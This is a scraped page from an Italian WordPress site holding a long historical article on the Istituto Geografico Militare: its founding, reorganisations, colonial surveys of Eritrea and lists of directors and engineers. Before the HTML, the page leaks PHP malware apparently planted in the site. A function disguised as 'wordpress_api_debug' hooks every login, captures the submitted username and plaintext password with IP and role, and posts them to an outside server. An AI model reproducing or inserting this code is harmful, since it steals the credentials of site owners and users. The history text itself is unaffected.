'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Siena | Digital DISCI | Pagina 3

Archivi tag: Siena

Istituto Geografico Militare

Il primo organismo nazionale incaricato di provvedere alla produzione cartografica dello Stato italiano fu il Servizio Tecnico del Corpo di Stato Maggiore dell’Esercito, che venne costituito a Torino prima ancora della proclamazione del Regno d’Italia (17 marzo 1861). Circa cinquanta giorni prima di tale evento, il governo del Regno di Sardegna provvide infatti a riorganizzare il proprio esercito e tutti i servizi ad esso collegati, con l’emanazione del regio decreto del 24 gennaio 1861. Da questa riorganizzazione, scaturì il tramonto del vecchio Ufficio Topografico dello Stato Maggiore sardo e l’istituzione di un Ufficio Superiore del Corpo di Stato Maggiore, “pei lavori geodetici topografici militari e per la contabilità, nonché per la Scuola di applicazione del Corpo stesso, dipendente direttamente dal Ministero della guerra e retto da un ufficiale generale” (Mori, 1922, p. 111).
L’Ufficio Superiore venne strutturato in due rami ed una Segreteria centrale. Un ramo era destinato ad assolvere alle attività geotopocartografiche nazionali e l’altro alle attività di formazione militare della Scuola di applicazione. Le competenze per gli aspetti geotopocartografici furono affidate all’Ufficio Tecnico, che venne riconfigurato prevalentemente con l’impiego di personale civile e militare proveniente dall’ex Ufficio Topografico sardo, con un esiguo organico di quarantuno dipendenti, dei quali, tredici erano ufficiali dell’esercito e ventotto erano tecnici ed impiegati civili (Valerio, 1996).
Con la successiva proclamazione del Regno d’Italia, il piccolo Ufficio Tecnico si trovò quindi, in via ideale, ad essere l’erede ufficiale della lunga tradizione geotopocartografica italiana (Cantile, 2004-a) e ad assorbire di fatto le competenze geotopocartografiche nazionali, riunendo in sé i compiti dei seguenti enti: Corpo della Topografia Reale dello Stato Maggiore dell’ex Regno di Sardegna; Ufficio Topografico Estense, dell’ex Ducato di Modena, in funzione dal 1815; Ufficio Topografico Militare, dell’ex Granducato di Toscana, istituito nel 1848; K. K. militär-geographisches Institut in Wien, che aveva a sua volta assorbito le competenze territoriali dell’Imperiale e Regio Istituto Geografico Militare di Milano già dal 1839, col trasferimento di quest’ultimo nella capitale asburgica.
Estraneo al provvedimento rimase l’Officio Topografico dell’ex Regno delle Due Sicilie, per il quale il governo del Regno d’Italia provvide ad emanare uno specifico decreto, il 4 agosto dello stesso anno, con cui dispose la sopravvivenza temporanea dell’Officio topografico napoletano, come “Sezione separata dell’Ufficio Superiore dello Stato Maggiore”.
Il quadro generale dell’organizzazione geotopocartografica nazionale, all’indomani dell’unificazione del regno, vide così la creazione di un organo centrale di coordinamento e di indirizzo, costituito dall’Ufficio Superiore dello Stato Maggiore, con sede in Torino, e di due enti operativi: l’Ufficio Tecnico dello Stato Maggiore, sempre con sede in Torino, e la Sezione separata dell’Ufficio Superiore dello Stato Maggiore, con sede in Napoli, conservata nella sua precedente organizzazione interna, ma destinata alla definitiva chiusura ed al conseguente assorbimento nell’ente nazionale, che avvenne puntualmente nel 1° novembre 1879 (Firrao, 1868).
L’organizzazione, la struttura, la composizione e la produzione dell’Ente cartografico furono ispirate, come nella quasi totalità degli analoghi organismi europei dell’epoca, alle necessità della polemologia, per il controllo militare del territorio e per la sua difesa. I primi governi del regno, ritenendo tale controllo preminente e considerando quindi secondarie le pur ampie ed impellenti esigenze amministrative e di gestione del territorio, rinunciarono, con scarsa lungimiranza, a realizzare una rete territoriale di enti cartografici, recuperando l’efficienza degli analoghi organismi preunitari, e non provvidero ad organizzare un coordinamento nazionale tra l’ente cartografico militare, il catasto e gli altri servizi tecnici dello Stato.
L’Ufficio Tecnico rimase attivo a Torino, fino al 1865, quando, con il trasferimento temporaneo della capitale d’Italia a Firenze, unitamente a tutto l’apparato statale, anche le attività geotopocartografiche vennero trasferite in tale città, collocando gli uffici nei locali della ex Cavallerizza del granduca e di parte dell’ex Convento dei Servi di Maria, mentre il Ministero della Guerra trovò collocazione nella vicina piazza San Marco.
Tra gli eventi più significativi dei primi anni di vita dell’organismo cartografico nazionale va segnalata la costituzione del primo organo scientifico di coordinamento geodetico italiano, sorto in adesione al progetto del generale Johann Jacob Baeyer (Muggelseim 1794-Berlino 1885), con disposizione del Ministero della Pubblica Istruzione del 1865, per la partecipazione italiana ai lavori della Commissione internazionale per la misura dei gradi in Europa. In analogia con gli analoghi organismi europei, la prima denominazione ufficiale fu quella di Commissione italiana per la misurazione dei gradi ed un apposito dispaccio del Ministero della Pubblica Istruzione stabilì che il compito di tale Commissione sarebbe stato quello di “[…] tradurre in atto sul suolo italiano le convenzioni stabilite per la misura del grado europeo dalla conferenza internazionale riunitasi a Berlino” (Raccolta dei verbali, 1865-1894, p. 3). Dopo quindici anni di attività, il 3 febbraio 1880, venne poi approvato uno specifico regolamento, che introdusse tra l’altro la nuova denominazione di Commissione Geodetica Italiana e stabilì che la finalità dell’organismo era quella di “concorrere ai lavori di geodesia ed astronomia, che formano lo scopo della Commissione internazionale per la misura dei gradi in Europa” (Raccolta dei verbali, 1865-1894, p. 33).
Dopo undici anni dal primo riordino del settore geotopocartografico nazionale, con la promulgazione del regio decreto del 27 ottobre 1872, l’Ufficio Tecnico del Corpo di Stato Maggiore venne soppresso per dar vita, a partire dal 1° gennaio 1873, ad un organismo “separato” dallo stesso Corpo, con la denominazione di Istituto Topografico Militare (I.T.M.).
L’obiettivo principale di tale provvedimento di riforma fu quello di disimpegnare dall’Ufficio Tecnico il gran numero di ufficiali di stato maggiore impiegati nei primi anni del loro servizio per le attività di rilevamento nazionale, al fine di destinarli alla loro regolare occupazione militare, e far svolgere al solo personale tecnico civile i compiti di produzione geotopocartografica nazionale, “sotto l’alta direzione del Comando generale del Corpo di Stato Maggiore” (Regio decreto, n. 1084 del 27 ottobre 1872, Costituzione, sotto l’alta direzione del Comando generale del Corpo di Stato Maggiore, di un Istituto topografico militare).
Dopo il decreto di costituzione dell’I.T.M., fecero seguito altre cinque disposizioni di legge che riguardarono l’Ente cartografico dello Stato, tra le quali è da menzionare la legge del 29 giugno 1882, che impiegò per la prima volta la denominazione di Istituto Geografico Militare (I.G.M.), contrariamente a quanto indicato dal Mori, che attribuì tale variazione al successivo decreto del 3 dicembre dello stesso anno (Mori, 1922, p. 170). La variazione da “topografico” a “geografico”, che si volle apporre alla nuova denominazione dell’Ente, potrebbe indurre a pensare che nelle intenzioni del legislatore ci fosse l’ampliamento dei compiti dello stesso organismo, con estensione degli stessi anche alla raccolta di tutta quella più ampia gamma di informazioni geografiche concorrenti alla migliore definizione delle caratteristiche fisiche, economiche e sociali dei possibili teatri di guerra, nella logica della reconnaissance (Memorial, 1829). Di fatto, però, non si verificarono sostanziali variazioni nell’ordinamento generale e nelle attività dell’Ente ed il provvedimento di ridenominazione si risolse nell’imitazione di una tendenza già in atto in Europa. Anche con tale ulteriore provvedimento si confermò la continuità con la precedente impostazione ispirata alle necessità della polemologia, dalla quale subì un forte condizionamento anche la stessa produzione cartografica, che risentì ovviamente delle preminenti esigenze militari, con deficienze ed esaltazioni funzionali al loro obiettivo primario, ma anche con forti limiti di contenuto informativo e di restituzione dell’immagine della campagna italiana del Novecento (Farinelli, 1978).
Per quanto attiene agli operatori, geodeti, topografi, cartografi, che operavano talvolta in condizioni di lavoro veramente estreme, l’Ente registrò fin dall’inizio della sua esistenza la presenza di personale tecnico civile e militare, con una di permanenza stabile dei primi, rispetto ai secondi, i quali erano invece sottoposti ad un frequente turn over per esigenze professionali. I segni della malagevolezza e del vero e proprio pericolo, nell’esecuzione di operazioni di rilevamento del territorio, si trovano evidenti proprio nella storia del personale tecnico dei primi decenni di vita dell’Ente, dalla quale emerge chiaramente la perdita di ben ottantatre tecnici, dei quali cinquantatre deceduti in servizio e trenta persi di forza per dimissioni o per trasferimento all’Amministrazione del Catasto. A queste gravi perdite, che segnarono negativamente le prime attività dell’Ente, se ne aggiunsero poi altre per abbandono del servizio da parte dei maggiori studiosi interni. Personaggi come Enrico Pucci, Nicodemo Jadanza, Giovanni De Bernardinis, Federico Guarducci ed Attilio Mori, abbandonarono l’I.G.M. per dedicarsi all’insegnamento universitario, passando rispettivamente nelle regie università di Roma, di Torino, di Napoli, di Bologna e di Messina (Mori, 1922).
Con il 1903, si chiudeva un periodo storico caratterizzato da forti fermenti e da grandi imprese, prima fra tutte l’ultimazione della monumentale Carta topografica d’Italia alla scala 1:100 000, che restituì, pur con i propri limiti, la prima immagine cartografica omogenea del territorio nazionale.
L’inizio del nuovo secolo più che registrare un ampliamento sostanziale nella direzione della Geografia militare, segnò una prima apertura dell’I.G.M. verso le più generali esigenze scientifiche ed amministrative del Paese, per poi ritornare poco dopo all’antico indirizzo, alla vigilia della Grande guerra, per ovvie esigenze di difesa nazionale.
Sempre nello stesso periodo, poi, per porre rimedio alle inesattezze della toponomastica riportata sulla Carta topografica d’Italia alla scala 1:100 000, su espressa richiesta del mondo accademico nazionale, venne istituita, con il Regio Decreto n. 218 del 5 marzo 1911, la “Commissione permanente incaricata di dirigere il lavoro di revisione toponomastica della Carta d’Italia”, che provvide a correggere tutti i fogli prodotti a quel momento ed a definire apposite norme per le operazioni di raccolta e trascrizione di nomi.
Verso la fine del secondo conflitto mondiale, l’I.G.M. corse poi il rischio della totale perdita dell’intero patrimonio, quando negli anni compresi tra il 1943 ed il 1945 venne di forza trasferito a Dobbiaco-Toblach (BZ), col pericolo di divenire poi preda bellica dell’esercito tedesco in ritirata, minaccia quest’ultima scongiurata con la “liberazione” ed il successivo rientro a Firenze dei beni e del personale (Pruccoli e Rosani, 2003).
All’indomani del secondo conflitto mondiale, venne poi riconfermata la necessità dell’opera della Commissione toponomastica e disposta la sua nuova composizione, con la legge n. 605 dell’8 giugno 1949 “Composizione della Commissione permanente incaricata di dirigere il lavoro di revisione toponomastica della Carta d’Italia”.
In seguito, ripristinate le attività ordinarie nell’antica sede, i compiti dell’Istituto si concentrarono principalmente nel completamento della Carta topografica d’Italia alla scala 1:25000, che venne portata a compimento nel successivo ventennio, anche grazie al contributo finanziario erogato all’I.G.M. nell’ambito dell’European Recovery Program ed all’apporto produttivo dell’imprenditoria privata italiana.
Gli anni Sessanta segnarono poi il riconoscimento dell’Istituto quale principale “organo cartografico dello Stato”, con l’emanazione della legge n. 68 del 1960, e l’avvio della realizzazione di nuove serie cartografiche (Cantile, 2003 e 2004-b), mentre i successivi anni Settanta furono segnati da una serie di eventi non favorevoli, che videro in particolare la soppressione della Commissione Geodetica Italiana, dal 1o gennaio del 1978 (D.P.R. n. 429 del 4 luglio 1977, Soppressione ai sensi dell’art. 3 della legge 20 marzo 1975, n. 70, della Commissione geodetica italiana, “Gazzetta Ufficiale della Repubblica Italiana”, parte prima, del 28 luglio 1977), come “ente inutile”, nonostante il prezioso ruolo svolto e l’imprescindibilità delle sue funzioni. A ciò si aggiunse inoltre, con l’avvio della produzione della Cartografia Tecnica Regionale, un periodo di contrasti tra vari dipartimenti regionali per il territorio e l’I.G.M. e la prima “Conferenza nazionale sulla cartografia”, tenuta a Firenze dal 9 all’11 aprile del 1979, che pose in evidenza i notevoli ostacoli operativi derivanti da disposizioni e concezioni non al passo con i tempi e pose i primi interrogativi sull’opportunità di mantenere il servizio cartografico nazionale nell’ambito delle competenze della Forza armata (Quaini, 1979). Tutto ciò, unito ai ritardi che l’I.G.M. aveva accumulato in quegli anni nel campo produttivo, determinò una forte spinta critica nei confronti dell’Istituto (Salzano, 1982) che, unita alle difficoltà operative legate al rilascio del “nulla osta” relativo alla riservatezza (Spagna, 1989), sfociò nella richiesta, da parte dei settori cartografici regionali e di alcuni organismi politici, della costituzione di un Servizio cartografico nazionale, svincolato dalle competenze militari, e nell’elaborazione di diversi disegni di legge, tutti arenati nelle discussioni parlamentari (Ludovisi, Mauri e Torresani, 1994).
Verso la fine del secolo, mentre l’I.G.M. attuava la profonda trasformazione produttiva dall’analogico al digitale (Cantile, 2003), questa tendenza è stata notevolmente mitigata, sia per l’introduzione di norme semplificatrici dei procedimenti autorizzativi, sia per un rinnovato rapporto interistituzionale, fino ad inaugurare una nuova stagione di cooperazione e l’avvio di rapporti di collaborazione, iniziati nel 1996, con la stipula della “Intesa Stato, Regioni, Enti locali per i sistemi informativi territoriali” Intesa Strato-Regioni-Enti locali sui data base geografici di interesse generale (Presidenza del Consiglio dei Ministri, Conferenza permanente per i rapporti tra lo Stato, le Regioni e le Province autonome).
Oggi l’I.G.M. è posto alle dipendenza del Comando Logistico dell’Esercito e continua ad operare sia come organismo di supporto alla forza armata, per le esigenze militari, sia come organo cartografico dello Stato, per le necessità civili del Paese. I suoi compiti principali sono:
-l’impianto, l’aggiornamento e la manutenzione delle reti geodetiche;
-la produzione, l’aggiornamento e la cessione della cartografia ufficiale dello Stato e delle relative documentazione alla piccola e media scala;
-la copertura aerofotogrammetrica del territorio nazionale;
-l’esecuzione di lavori topografici per la manutenzione dei termini di confine, sulla base di appositi accordi internazionali;
-la costituzione e la gestione di banche dati geografici nazionali;
-l’effettuazione di interventi di natura geodetica, topografica e cartografica per il controllo del territorio in caso di pubbliche calamità e per attività di ricerca scientifica in collaborazione con altri enti;
-la conservazione, la tutela e la valorizzazione del ricco patrimonio cartografico, strumentale e librario, ereditato dagli enti cartografici preunitari ed alimentato da quasi un secolo e mezzo di attività istituzionale;
-la formazione professionale degli addetti e la diffusione della cultura geografica e cartografica, anche in collaborazione con le università ed i centri di ricerca nazionali, sulla base di specifici accordi.

Produzione cartografica

Produzione nazionale. Dal 1861, le tappe principali dell’Ente cartografico nazionale, pur con le varie denominazioni assunte nei primi anni di vita, furono segnate dai seguenti lavori:
-inquadramento geometrico del territorio del regno, con conseguente formazione della rete trigonometrica nazionale, condotto a termine tra il 1861 ed il 1919, e della rete di livellazione di precisione, realizzata tra il 1879 ed il 1900;
-esecuzione delle prime misure di astronomia geodetica tra il 1874 ed il 1910, riprese poi negli anni seguenti;
-avvio dei primi esperimenti di fotogrammetria terrestre, dal 1879;
-aggiornamento di alcuni, principali documenti cartografici preunitari, ritenuti strumenti ancora validi, sia per le attività operative, sia per le operazioni di derivazione cartografica e realizzazione di nuove carte alla scala corografica;
-allestimento della Carta topografica d’Italia alla scala 1:100 000, tra il 1878 ed il 1903;
-inizio dei lavori sistematici di rilevamento e di preparazione della Carta topografica d’Italia alla scala 1:25 000.
Oltre a tali principali realizzazioni, sono inoltre da segnalare tra le principali attività di produzione e di aggiornamento cartografico:
i Rilievi della valle della Dora Riparia, la Carta delle Alpi Retiche, Carniche e Giulie, la Carta delle Provincie Lombardo-Venete e degli ex Ducati, la Carta corografica dell’Italia Superiore e Media, la Carta dell’Italia Centrale, i Rilievi dei Dintorni di Orbetello, i Rilievi dei Dintorni di Ancona, la Carta generale del Piemonte estesa ora a Carta generale dell’Italia Settentrionale 1:250000, i Rilievi dei Dintorni di Verona 1:10000, i Rilievi dei Dintorni di Roma 1:25000, i Rilievi eseguiti dal Corpo di Stato Maggiore e dall’Istituto Topografico Militare nell’Italia Meridionale 1/50 000, la Carta delle Prov.ce di Napoli e Terra di Lavoro 1/80 000, la Carta d’Italia alla scala 1:800000, la Carta dell’Isola di Sicilia e delle 3 Calabrie in cromo alla scala 1:500000, la Carta dell’Isola di Sicilia in un solo foglio alla scala 1:500000, la Carta degli Stati Sardi alla scala 1:250000, la Carta delle Province Napoletane alla scala 1:250000, la Carta dell’Isola di Sardegna alla scala 1:250000, la Carta degli Stati Sardi alla scala 1:250000, la Carta della Provincia di Napoli e parte delle contigue di Caserta, Salerno e Benevento alla scala 1:80000, la Carta topografica delle Provincie meridionali, alla scala 1:50000, ed infine l’avvio della Carta topografica d’Italia alla scala 1:25000.

Tutta l’attività dell’Ente, dal 1861, è documentata nei fondi storici dell’Archivio geodetico, dell’Archivio fotografico e dell’Archivio topografico, che custodiscono anche molti documenti del periodo preunitario, manoscritti ed a stampa.
Unitamente a tali archivi, un’altra importante conservatoria dell’I.G.M. è costituita dalla Biblioteca “Attilio Mori”, che custodisce un gran numero di atti interni, di opere scientifiche, di carte e riviste, acquistate nel tempo od ottenute per donazione od ancora in virtù dei numerosi scambi internazionali con gli analoghi Enti degli altri Stati.

Produzione coloniale. Contemporaneamente alle attività sopra elencate, l’I.G.M. avviò anche vari lavori topocartografici nei territori coloniali. Risalgono al 1885, infatti, le prime carte topografiche dell’I.G.M. in Africa con i rilievi dei nuovi possedimenti di Massaua e di Assab. Ma fino al 1903 l’attività in colonia fu limitata ad alcuni rilievi privi d’inquadramento geodetico e a due missioni topocartografiche in Eritrea, non essendo stata ancora conquistata la gran parte dell’impero coloniale italiano.
La prima si svolse tra il 1887 ed il 1891 e portò alla realizzazione della Carta della colonia Eritrea alla scala 1:50.000 in proiezione di Cassini che copriva il territorio fra Massaua, Zula, Asmara e Cheren; ad essa parteciparono, in qualità di capi sezione, i capitani Giuseppe Lavallea, Antonio Bonoldi, Antonio Scotti e Giovanni Prelli.
La seconda venne realizzata tra il 1896 ed il 1902 e portò alla redazione della Carta topografica della Colonia Eritrea alla scala 1:100.000 che rappresentava l’area situata tra il confine sud della colonia, il mare, Cheren ed Agordat. Essa venne redatta a colori in proiezione policentrica e incorporò anche i fogli della precedente levata. A capo dei lavori topocartografici era stato inizialmente designato l’ingegnere geografo Giovanni Cloza che morì poco tempo dopo essere giunto in colonia (28 ottobre 1896). Egli fu sostituito prima dal capitano Luigi Manfren e poi dall’ingegner Federico Guarducci. Parteciparono alla missione l’ingegner Antonio Loperfido, il capitano Metello Gianni, il capitano Carlo Sargenti, il capitano Amadeo Ceruti, il capitano Attilio Thermes.
Una carta dimostrativa della colonia Eritrea, inizialmente prevista alla scala 1:250.00 e poi pubblicata alla scala 1:400.000, venne allestita nel 1902, pubblicata in nuova edizione nel 1909. Fu inizialmente progettata per rappresentare i territori compresi tra il 12° ed il 16° parallelo e tra il 36° meridiano ed il mare. Successivamente tale area venne allargata includendovi tutta la costa dancala, la baia di Assab, il golfo di Tagiura ed il sultanato dell’Aussa. Essa fu realizzata dal topografo Bruto Bonazzi e si trattò di un’opera puramente cartografica che utilizzò le informazioni topografiche, cartografiche e geodetiche disponibili all’epoca.

1885-1888, tenente Lavallea G., topografo Ciorlieri G., Massaua e dintorni, Monkullo e Otumlo, Assab e dintorni, scala 1:10.000, fogli 2, Istituto Geografico Militare.
1885-1888, tenente Lavallea G., topografo Ciorlieri G., Massaua-Saati, scala 1:25.000, fogli 2, Istituto Geografico Militare.
1885, tenente Lavallea G., Carta di Assab e dintorni, scala 1:10.000, Istituto Geografico Militare.
1888, capitano Lavallea G., topografo Ciorlieri G., Fortificazioni di Saati e Dogali, scala 1:10.000, fogli 2, Istituto Geografico Militare.
1890 (prima edizione), 1909 (seconda edizione), Carta della Colonia Eritrea, scala 1:50.000, Istituto Geografico Militare: F. C3: Ras Gablalo (rilievo del 1889, capo sezione cap. Lavallea), F. C4: Zula (rilievo del 1889-1890, capi sezioni Lavallea, Bonoldi, Prelli), F. D1: Emberèmi (rilievo del 1889, capo sezione Lavallea), F. D2: Massaua (rilievo del 1889, capo sezione Lavallea), F. D3: Ghedem (rilievo del 1889, capo sezione Lavallea), F. D4: Ua-à (rilievo del 1888-1890, capi sezione Lavallea, Bonoldi, Prelli), F. E1: Amba e Uachico (rilievo del 1889, capo sezione Lavallea), F. E2: Saati (rilievo del 1889, capo sezione Lavallea), F. E3: Agametta (rilievo del 1888-1890, capi sezione Lavallea, Prelli, Bonoldi), F. E4: Monte Urug (rilievo nel 1889-1890, capi sezione Bonoldi, Prelli), F. F1: Pozzi di Canfer (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. F.2: Ailèt (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. F3: Ghinda (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. F4: Monte Bizen (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. G1 Laba: (rilievo del 1889-1891, capi sezione Bonoldi, Prelli, Scotti), F. G2: Zaghèr (rilievo del 1889-1890, capi sezione Bonoldi, Prelli, Scotti), F. G3 Amba Derhò (rilievo del 1889-1891, capi sezione Bonoldi, Prelli, Scotti), F. G4 Asmara (rilievo del 1889-1891, capi sezione Bonoldi, Prelli, Scotti), F. H1 Gheleb (rilievo del 1891, capo sezione Scotti), F. H2: Ad Teclesan (rilievo del 1891, capo sezione Scotti), F. H3 Adi Iohannes (rilievo del 1891, capo sezione Scotti), F. H4 Himbertì (rilievo del 1891, capo sezione Scotti), F. I1 Cheren (rilievo del 1891, capo sezione Scotti), F. I2 Valle Gulà (rilievo del 1891, capo sezione Scotti), F. J1: Giangheren (rilievo del 1891, capo sezione Scotti), F. J2: Sciotel (rilievo del 1894, capo sezione G. Severi).
1909, Carta topografica della Colonia Eritrea, scala 1:100.000, Istituto Geografico Militare, F. 1659: Valle del Giaghe (rilievo del 1900-1901, capi sezione: Sargenti, Ceruti), F. 1660: Mai Adartè (rilievo del 1899-1900, capo sezione: Sargenti), F. 1661: Cheren (rilievo del 1891, capi sezione: Scotti, Severi), F. 1662: Gheleb (rilievi del 1889-1901, capi sezione: Bonoldi, Prelli, Scotti), F. 1663: Pozzi di Canfer (rilievi del 1889-1990), F.1664: Emberemì (rilievo del 1889), F. 1750: Agordat (rilievo del 1901, capo sezione: Ceruti), F. 1760: Dega (rilievo del 1897, capi sezione: Sargenti, Ceruti), F. 1761: Molazenai (rilievo del 1899-1900, capo sezione: Sargenti), F. 1762: Asmara (rilievo del 1889-1900-1901), F. 1763: Ghinda (rilievo del 1888-1889-1900), F. 1764: Massaua (rilievo del 1888-1889), F. 1765: Gruta (rilievo del 1901-1902, capi sezione Thermes), F. 1859: Suzenà (rilievo del 1907, capo sezione: Cap. Ceruti), F. 1860: Ferfer (rilievo del 1900-1901, capi sezione: Sargenti, Ceruti), F. 1861: Mai Albò (rilievo del 1899-1900, capo sezione: Sargenti), F. 1862: Debaroà (rilievo del 1897-1901, capi sezione: Gianni, Sargenti), F. 1863: Saganeiti (rilievo del 1897, capo sezione: Cap. Gianni), F. 1864: Afta (rilievo del 1897-1898, capi sezione: Cap. Gianni, Cap. Manfren), F. 1865: Zula (rilievo del 1901-1902, capo sezione: Cap. Thermes), F. 1866: Harèna (rilievo del 1901-1902, capo sezione: Cap Thermes), F. 1959: Tolè (rilievo del 1901, capo sezione: Cap. Ceruti), F. 1960: Tucul (rilievo del 1898, capo sezione: Manfren), F. 1961: Arresa (rilievo del 1898, capo sezione: Manfren), F. 1962: Adi Ugrì (rilievo del 1891-1898, capi sezione: cap. Gianni e cap. Manfren), F. 1963: Digsa (rilievo del 1897-1898, capi sezione: cap. Gianni e cap. Manfren), F. 1964: Addi Caiè (rilievo del 1897-1898, capi sezione: cap. Gianni e cap. Manfren), F. 1965: Buia (rilievo del 1901-1902, capo sezione: Thermes), F. 1966: Samoti (rilievo del 1901-1902, capo sezione: Thermes), F. 2060-2061: Cohain (rilievo del 1898, capo sezione: Manfren), F.2062: Adi Qualà (rilievo del 1898, capo sezione: Manfren), F.2063: Loggò Sardà (rilievo del 1898, capo sezione: Manfren), F. 2064: Barachìt (rilievo del 1898, capo sezione: Manfren), F. 2065: Endèli (rilievo del 1901-1902, capo sezione: Thermes).

Operatori

In occasione del primo cinquantenario della costituzione dell’I.G.M., fu effettuata una ricognizione sistematica della situazione matricolare di tutti i dipendenti tecnici dell’Istituto, che produsse, accanto agli esistenti elenchi dei Direttori, due nuovi elenchi di personale, distinti in ingegneri geografi e topografi per il loro inserimento nel volume celebrativo dell’evento (Mori, 1922). Tali elenchi, oltre a non registrare la presenza di un nutrito gruppo di dipendenti tecnici civili, impiegati nelle mansioni di disegno, incisione, coloritura, stampa, ecc, e del personale amministrativo, non segnalano neppure la presenza dei tecnici militari, se non quando gli stessi hanno anche coperto il ruolo di Direttori dell’Istituto, perché le attenzioni del Mori si concentrarono specificamente sui principali profili tecnici, trascurando il personale militare probabilmente in ragione del loro limitato periodo di permanenza presso l’Ente.
Direttori dell’I.T.M. e dell’I.G.M., secondo l’ordine di successione:
Ten. Gen. Ezio De Vecchi, Senatore del Regno, già Capo dell’Ufficio Tecnico del R. Corpo di Stato Maggiore, Direttore dell’I.T.M. dalla sua fondazione al 1° maggio 1877;
Ten. Gen. Cav. Emerigo Mayo, già Capo dell’Ufficio Tecnico del Corpo di Stato Maggiore, Direttore dell’I.T.M. col grado di maggior generale dal maggio 1877 al febbraio 1882;
Magg. Gen. Cav. Giovanni Baulina, Direttore dell’I.G.M. dal 26 febbraio 1882 al 15 aprile 1883;
Col. Brig. Cav. Carlo Gené, Direttore dell’I.G.M. dall’8 maggio 1883 al 6 ottobre 1885;
Ten. Gen. Annibale Ferrero, Senatore del Regno, già addetto alla Divisione Geodetica dal 1873 al 1875, Capo della stessa Divisione dal 20 dicembre 1875 al 22 marzo 1878, Direttore in 2a dal 23 marzo 1878 al 18 giugno 1883, Direttore dell’I.G.M. dal 14 ottobre 1885 al 30 novembre 1893;
Magg. Gen. Cav. Agostino Rosselli, già Direttore in 2a dell’Istituto dal marzo 1887 all’aprile 1890, Direttore dell’I.G.M. dal dicembre 1893 all’agosto 1894;
Ten. Gen. Cav. Biagio De Benedictis, Direttore dell’I.G.M. dall’ottobre 1894 al dicembre 1897.
Ten. Gen. Cav. Giuseppe Ettore Viganò, Senatore del Regno, già Direttore in 2a dell’Istituto dall’aprile 1891 al dicembre 1893, Direttore dell’I.G.M. dal dicembre 1897 al febbraio 1902;
Ten. Gen. Comm. Onorato Moni, già addetto alla Divisione Geodetica dal gennaio 1880 all’aprile 1884, Direttore in 2a dell’Istituto dall’ottobre 1895 al dicembre 1898, Direttore dell’I.G.M. dal gennaio 1902 al giugno 1905;
Ten. Gen. Comm. Cammillo Crema, Direttore dell’I.G.M. dal giugno 1905 al febbraio 1908;
Ten. Gen. Comm. Ernesto Gliamas, già Capo della Divisione Fototecnica dal 13 gennaio 1898 al 2 febbraio 1905, Direttore in 2a dal 2 febbraio 1905 al 10 luglio 1906, Direttore dell’I.G.M. dal 2 febbraio 1908 all’8 novembre 1914 e dal 10 maggio 1915 al 31 marzo 1919;
Magg. Gen. Cav. Alberto Cavaciocchi, Direttore dell’I.G.M. dall’8 novembre 1914 al 10 maggio 1915;
Gen. Brig. Cav. Nicola Vacchelli, già addetto alla Direzione dell’Istituto e Capo dell’Ufficio Ordinamento Lavori dal 1906 al 1914, Direttore dell’I.G.M. dal 1° aprile 1919, fondatore e primo direttore della rivista L’Universo, Commissario e poi Presidente della Società Geografica Italiana.

Ingegneri geografi, secondo la data di entrata in servizio:
1856 – Schiavoni prof. comm. Federico, già professore di geodesia nel R. Officio Topografico di Napoli, Ingegnere geografo Capo e professore di geodesia nella R. Università di Napoli, collocato a riposo nel 1879;
1865 – Cavalieri cav. Luigi, collocato a riposo nel 1878;
1865 – Lucci cav. Vincenzo, collocato a riposo nel 1878,
1865 – Corbara cav. Carlo, collocato a riposo nel 1878;
1865 – Arabia cav. Luigi, collocato a riposo nel 1879;
1868 – D’Atri comm. Niccola, trasferito nell’Amministrazione del Catasto 1887;
1868. De Vita cav. Gaetano, collocato a riposo nel 1879;
